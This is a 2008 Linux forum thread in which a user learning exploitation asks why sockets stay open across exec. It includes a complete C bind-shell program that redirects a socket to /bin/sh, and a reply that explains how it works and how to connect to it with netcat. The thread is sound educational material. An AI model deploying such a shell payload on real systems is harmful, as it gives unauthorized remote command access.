LinuxQuestions.org
Review your favorite Linux distribution.
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices

Reply
 
Search this Thread
Old 02-05-2008, 08:02 AM   #1
daYz
Member
 
Registered: Nov 2003
Distribution: Debian
Posts: 164

Rep: Reputation: 30
Socket programming in c


Hi,

I am trying to learn socket programming in c, but I have a question about the following code. The codes executes '/bin/ls' after it has recieved a connection from a client. I don't understand why the socket gets closed when the '/bin/ls' program is run. The section of the exec functions from the glibc manual says:

File descriptors open in the existing process image remain open in the new process image, unless they have the FD_CLOEXEC (close-on-exec) flag set.

Can someone tell me why the socket gets closed when '/bin/ls' is run?

Thanks


Code:
int main(void)
 {
 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in sin;
 sin.sin_family = AF_INET;
 sin.sin_addr.s_addr = 0;
 sin.sin_port = htons(12345);
 bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));

 listen(sockfd, 5);
 accept(sockfd, NULL, 0);
 
 execl("/bin/ls", "-l", NULL);
 }
 
Old 02-05-2008, 08:43 AM   #2
wildcat22
Member
 
Registered: Nov 2003
Location: USA
Distribution: Ubuntu
Posts: 102

Rep: Reputation: 15
The purpose of the execl function is to replace the currently running process (by that I mean, using the same memory footprint) with the image of the process specified as the argument to execl. `ls` is just a program that accesses the local filesystem and prints a listing. There is no built-in networking support, or need for that matter. So, when the execl is performed, the current program in which you've set up your socket support is ended, the sockets are closed, and a listing is performed, and the process exits. The program does exactly as it should.

I should add, that even if the file descriptor is being left open, as the manual would suggest, `ls` isn't looking for it. So as soon as your `ls` completes, the fd will be closed just the same, without any different results.

Last edited by wildcat22; 02-05-2008 at 08:45 AM.
 
Old 02-05-2008, 10:29 AM   #3
daYz
Member
 
Registered: Nov 2003
Distribution: Debian
Posts: 164

Original Poster
Rep: Reputation: 30
Thanks wildcat22

The following code executes '/bin/sh'. Like with the other piece of code the socket gets closed when exec is run, but not when duplcicating the socketdescriptor with the dup2 function.

So why does the socket stay open in this case?

Thanks

Code:
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{

 serv_addr.sin_family=2;
 serv_addr.sin_addr.s_addr=0;
 serv_addr.sin_port=0xAAAA;
 soc=socket(2,1,0);
 bind(soc,(struct sockaddr *)&serv_addr,0x10);
 listen(soc,1);
 cli=accept(soc,0,0);
 dup2(cli,0);
 
 dup2(cli,1);
 dup2(cli,2);
 execve("/bin/sh",0,0);
 }
 
Old 02-05-2008, 10:48 AM   #4
wildcat22
Member
 
Registered: Nov 2003
Location: USA
Distribution: Ubuntu
Posts: 102

Rep: Reputation: 15
You are duping your socket fd with file descriptors 0, 1, and 2.

In C,C++ the file descriptors for stdin, stdout and stderr are attached to Unix file descriptors 0, 1 and 2 respectively.
Every program has access to these 3 file descriptors. Since you already have them open in the previous program, when you do the exec, there is no need to reopen, or to close them.

I might add that what the code does doesn't make sense, and probably won't work in any desirable way. You've overwritten those three streams.

What is your reason for trying to exec a program? What are you trying to accomplish with your test code?
 
Old 02-05-2008, 11:16 AM   #5
osor
HCL Maintainer
 
Registered: Jan 2006
Distribution: (H)LFS, Gentoo
Posts: 2,450

Rep: Reputation: 70
Quote:
Originally Posted by daYz View Post
So why does the socket stay open in this case?
I think you misunderstood. The socket “stays open” in both cases. Its just that in the first case, there is no way for the ls process to know about it. So the socket will be closed when ls exits (which is usually not so long after it was started). So you don’t really notice, but the socket remains open through the exec.
Quote:
Originally Posted by wildcat22 View Post
I might add that what the code does doesn't make sense, and probably won't work in any desirable way. You've overwritten those three streams.
In this case, what the OP has does make sense. He wants to run a remote shell. So the stdin of the resulting process becomes any bytes coming into the socket, and the stdout and stderr are written to the socket. Therefore, any process connecting to the socket (e.g., netcat) will get the equivalent of an interactive shell. Of course it is not truly the same experience (you want to start the shell in interactive mode for that), but it is close enough.
 
Old 02-05-2008, 11:28 AM   #6
daYz
Member
 
Registered: Nov 2003
Distribution: Debian
Posts: 164

Original Poster
Rep: Reputation: 30
Quote:
You are duping your socket fd with file descriptors 0, 1, and 2.

In C,C++ the file descriptors for stdin, stdout and stderr are attached to Unix file descriptors 0, 1 and 2 respectively.
Every program has access to these 3 file descriptors. Since you already have them open in the previous program, when you do the exec, there is no need to reopen, or to close them.

I might add that what the code does doesn't make sense, and probably won't work in any desirable way. You've overwritten those three streams.

What is your reason for trying to exec a program? What are you trying to accomplish with your test code?
I am trying to learn how programs are exploited. I have no bad intentions though. This code should be run as part of the exploitation process and should give a shell on a remote system.

Can you explain to me why the socket doesn't get closed in this context?

Last edited by daYz; 02-05-2008 at 11:30 AM.
 
Old 02-05-2008, 11:57 AM   #7
daYz
Member
 
Registered: Nov 2003
Distribution: Debian
Posts: 164

Original Poster
Rep: Reputation: 30
Quote:
Originally Posted by osor View Post
I think you misunderstood. The socket “stays open” in both cases. Its just that in the first case, there is no way for the ls process to know about it. So the socket will be closed when ls exits (which is usually not so long after it was started). So you don’t really notice, but the socket remains open through the exec.

In this case, what the OP has does make sense. He wants to run a remote shell. So the stdin of the resulting process becomes any bytes coming into the socket, and the stdout and stderr are written to the socket. Therefore, any process connecting to the socket (e.g., netcat) will get the equivalent of an interactive shell. Of course it is not truly the same experience (you want to start the shell in interactive mode for that), but it is close enough.
I think am starting to get it. So does this mean the '/bin/sh' program doesn't exit until this 'interactive mode' is exited? That would explain why the port stays open.
 
Old 02-05-2008, 12:10 PM   #8
wrhansen
LQ Newbie
 
Registered: Jun 2007
Location: Holland MI
Distribution: Fedora 8
Posts: 5

Rep: Reputation: 0
Yes, the socket shouldn't close until /bin/sh finishes executing. If you still want your C program to execute after you run your exec, I suggest forking a child process that would simply call exec, then when that finished execution only the child process would be killed and you could still do stuff in the parent process( your C program).
 
Old 02-05-2008, 12:13 PM   #9
osor
HCL Maintainer
 
Registered: Jan 2006
Distribution: (H)LFS, Gentoo
Posts: 2,450

Rep: Reputation: 70
Quote:
Originally Posted by daYz View Post
So does this mean the '/bin/sh' program doesn't exit until this 'interactive mode' is exited?
The shell will exit on a few occurrences:
  1. The remote end closes the connection.
  2. The process is sent an interrupt from the controlling tty (which is not the same as the stdin).
  3. The remote end sends the string “exit” over the socket.
  4. The remote end sends Ctrl-D over the socket.
The last one might not be possible in the usual sense, since the shell knows it is not connected to a terminal.

I haven’t tried these all out, but you can do it yourself with netcat. Try this:
  1. Execute your program (the one from post 3).
  2. Open up a different terminal window.
  3. In the new terminal, execute
    Code:
    nc localhost $((0xAAAA))
  4. You will most likely not get a prompt (since the shell is not connected to a terminal, and since you are in non-interactive mode), but you will be able to talk to the shell and see its output using normal commands. Note that everything will be line buffered (since readline doesn’t work over sockets), so you won’t get things like tab-completion.
  5. When you are done experimenting, type “exit”.
 
Old 02-05-2008, 12:14 PM   #10
daYz
Member
 
Registered: Nov 2003
Distribution: Debian
Posts: 164

Original Poster
Rep: Reputation: 30
Guys, thank you very much for your help

Regards,

Ben
 
Old 02-05-2008, 12:18 PM   #11
daYz
Member
 
Registered: Nov 2003
Distribution: Debian
Posts: 164

Original Poster
Rep: Reputation: 30
Quote:
Originally Posted by osor View Post
The shell will exit on a few occurrences:
  1. The remote end closes the connection.
  2. The process is sent an interrupt from the controlling tty (which is not the same as the stdin).
  3. The remote end sends the string “exit” over the socket.
  4. The remote end sends Ctrl-D over the socket.
The last one might not be possible in the usual sense, since the shell knows it is not connected to a terminal.

I haven’t tried these all out, but you can do it yourself with netcat. Try this:
  1. Execute your program (the one from post 3).
  2. Open up a different terminal window.
  3. In the new terminal, execute
    Code:
    nc localhost $((0xAAAA))
  4. You will most likely not get a prompt (since the shell is not connected to a terminal, and since you are in non-interactive mode), but you will be able to talk to the shell and see its output using normal commands. Note that everything will be line buffered (since readline doesn’t work over sockets), so you won’t get things like tab-completion.
  5. When you are done experimenting, type “exit”.
I will try that out osor, thanks
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
socket programming nickraj Programming 16 04-24-2008 10:02 PM
Socket Programming ashishkabra Programming 9 06-16-2006 02:55 AM
Help me ... about Socket programming.. rajsun Programming 2 04-24-2005 04:50 PM
Socket programming maldini1010 Programming 4 02-11-2005 11:16 PM
Socket Programming Chaitanyayardi Programming 6 10-22-2004 12:10 AM


All times are GMT -5. The time now is 02:06 PM.

Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration